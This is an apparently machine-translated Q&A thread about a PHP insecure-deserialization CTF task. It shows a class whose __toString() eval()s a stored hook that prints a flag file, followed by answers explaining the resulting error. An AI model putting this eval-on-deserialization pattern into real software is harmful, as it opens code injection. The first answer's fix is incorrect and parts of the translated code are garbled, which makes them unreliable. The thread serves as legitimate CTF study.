Почему код все еще выполняется после "exit()"?

Я делаю вызов CTF о небезопасной десериализации в PHP. Цель состоит в том, чтобы напечатать флаг путем внедрения кода в десериализацию для выполнения print_flag() функция. Я подозреваю, что веб-сервер печатает только последнюю строку, отображаемую сценарием, которая переопределяет вывод флага, даже при вызове exit(),

Предоставляется часть php-кода, работающая на веб-сервере. Я реализовал это в своем собственном php-скрипте, чтобы узнать, что работает, а что нет. Мне удалось сериализовать объект, который выполняет код при десериализации. По телефону exit(print_flag()); флаг печатается без дальнейших ошибок... По крайней мере, в моем сценарии. Когда я отправляю сериализованный объект на веб-сервер, он все еще печатает дальнейшие ошибки.

Кроме того, я попытался вернуть строку из моего введенного кода. Это тоже не работает.

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

Код похож на тот, который показан в тесте, но изменен, поэтому он работает для меня.

Я ожидаю, что код будет возвращать только флаг. При выполнении сценария на моей собственной машине вывод:

O: 8: "Example2": 1: {s: 14: "крюк Example2";s:19:"exit(print_flag());";} thisistheflag

Когда я звоню без exit():

Исправляемая фатальная ошибка PHP: Метод Example2::__toString() должен возвращать строковое значение в../phpObjInj.php в строке 39"

Веб-сервер возвращает:

Исправляемая фатальная ошибка: метод Example2::__toString() должен возвращать строковое значение в /var/www/index.php в строке 79

Как остановить ошибку при печати?

2 ответа

Удалите двойные кавычки в вашем конструкторе, function __construct()вместо

function __construct() {
    $this->hook = "exit(print_flag());";
}

использование

function __construct() {
    $this->hook = exit(print_flag());
}

Ошибка происходит из-за unserialize($flag);, Поскольку аргумент unserialize() должен быть строкой, он пытается преобразовать Example2 объект в строку. Вы, вероятно, хотели использовать unserialize($serialized);,

Но в целом вы должны убедиться, что __toString() Метод возвращает строку. Если вам все равно, что это, вы можете вернуть пустую строку.

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

Ошибка не происходит, когда у вас есть exit() в крючке, потому что сценарий выходит до __toString() метод возвращает, поэтому он никогда не проверяет возвращаемое значение.

Ничто не выполняется после exit(), Вот порядок действий:

  • new Example2 - создает новый объект
  • serialize($flag) - Создает строку, представляющую объект
  • print "$serialized\r\n"; - Распечатать вышеуказанную строку

Ни один из вышеперечисленных шагов не нужно звонить __toString(), поэтому крючок еще не выполнен.

  • deserialize($flag) - это нужно конвертировать $flag в строку, чтобы она могла быть проанализирована как сериализованные данные.
    • Вызов $flag->__toString()
    • eval($this->hook)
    • Вызов print_flag(), который печатает флаг
    • Вызов exit(), который завершает скрипт

Итак, вы видите напечатанный сериализованный объект, затем печатается флаг, и ничего больше из-за exit(),

Чтобы продемонстрировать уязвимость, вы должны позвонить unserialize() с правильным аргументом.

$deserialized = unserialize($seralized);
echo $deserialized;

это echo заявление вызовет __toString() метод, который будет вызван. Затем он выйдет из сценария, и вы не получите сообщение об ошибке.

Другие вопросы по тегам